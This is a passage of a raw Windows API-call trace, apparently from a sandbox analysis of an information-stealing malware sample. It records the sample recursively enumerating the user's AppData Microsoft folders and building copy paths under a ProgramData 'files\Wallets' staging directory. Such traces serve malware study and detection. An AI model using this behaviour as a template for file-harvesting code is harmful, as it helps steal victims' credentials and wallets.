lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Excel", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Excel\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Excel\\" [0052.187] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Excel\\", lpString2="XLSTART" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Excel\\XLSTART") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Excel\\XLSTART" [0052.187] lstrcmpW (lpString1="XLSTART", lpString2=".") returned 1 [0052.187] lstrcmpW (lpString1="XLSTART", lpString2="..") returned 1 [0052.187] lstrcpyW (in: lpString1=0x19d7ac, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART" [0052.187] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\*.*" [0052.187] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\*.*", lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 0x58a200 [0052.187] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART" [0052.187] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\" [0052.187] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\." [0052.187] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Excel\\XLSTART" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Excel\\XLSTART") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Excel\\XLSTART" [0052.187] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Excel\\XLSTART", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Excel\\XLSTART\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Excel\\XLSTART\\" [0052.187] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Excel\\XLSTART\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Excel\\XLSTART\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Excel\\XLSTART\\." [0052.187] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.187] FindNextFileW (in: hFindFile=0x58a200, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.187] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART" [0052.187] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\" [0052.187] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\.." [0052.187] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Excel\\XLSTART" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Excel\\XLSTART") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Excel\\XLSTART" [0052.187] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Excel\\XLSTART", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Excel\\XLSTART\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Excel\\XLSTART\\" [0052.187] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Excel\\XLSTART\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Excel\\XLSTART\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Excel\\XLSTART\\.." [0052.187] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.187] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.187] FindNextFileW (in: hFindFile=0x58a200, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 0 [0052.188] FindClose (in: hFindFile=0x58a200 | out: hFindFile=0x58a200) returned 1 [0052.188] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0 [0052.188] FindClose (in: hFindFile=0x58a180 | out: hFindFile=0x58a180) returned 1 [0052.188] FindNextFileW (in: hFindFile=0x58a580, lpFindFileData=0x19e774 | out: lpFindFileData=0x19e774) returned 1 [0052.188] lstrcpyW (in: lpString1=0x19ee4c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" [0052.188] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\" [0052.188] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Internet Explorer" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer" [0052.188] lstrcpyW (in: lpString1=0x19ec40, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft" [0052.188] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\" [0052.188] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\", lpString2="Internet Explorer" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer" [0052.188] lstrcmpW (lpString1="Internet Explorer", lpString2=".") returned 1 [0052.188] lstrcmpW (lpString1="Internet Explorer", lpString2="..") returned 1 [0052.188] lstrcpyW (in: lpString1=0x19e0f0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer" [0052.188] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*.*" [0052.188] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*.*", lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0x58a300 [0052.188] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer" [0052.188] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\" [0052.188] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\." [0052.188] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer" [0052.188] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\" [0052.189] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\." [0052.189] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.189] FindNextFileW (in: hFindFile=0x58a300, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.189] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer" [0052.189] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\" [0052.189] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\.." [0052.189] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer" [0052.189] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\" [0052.189] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\.." [0052.189] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.189] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.189] FindNextFileW (in: hFindFile=0x58a300, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.189] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer" [0052.189] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\" [0052.189] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\", lpString2="Quick Launch" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch" [0052.189] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer" [0052.189] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\" [0052.189] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\", lpString2="Quick Launch" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch" [0052.189] lstrcmpW (lpString1="Quick Launch", lpString2=".") returned 1 [0052.189] lstrcmpW (lpString1="Quick Launch", lpString2="..") returned 1 [0052.189] lstrcpyW (in: lpString1=0x19d7ac, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch" [0052.189] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*.*" [0052.189] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*.*", lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 0x58a180 [0052.189] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch" [0052.189] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\" [0052.189] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\." [0052.190] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch" [0052.190] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\" [0052.190] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\." [0052.190] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.190] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.190] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch" [0052.190] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\" [0052.190] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\.." [0052.190] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch" [0052.190] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\" [0052.190] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\.." [0052.190] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.190] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.190] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.190] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch" [0052.190] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\" [0052.190] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini" [0052.190] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch" [0052.190] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\" [0052.190] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="desktop.ini" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini" [0052.190] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.190] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch" [0052.190] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", lpString2="\\" | out: 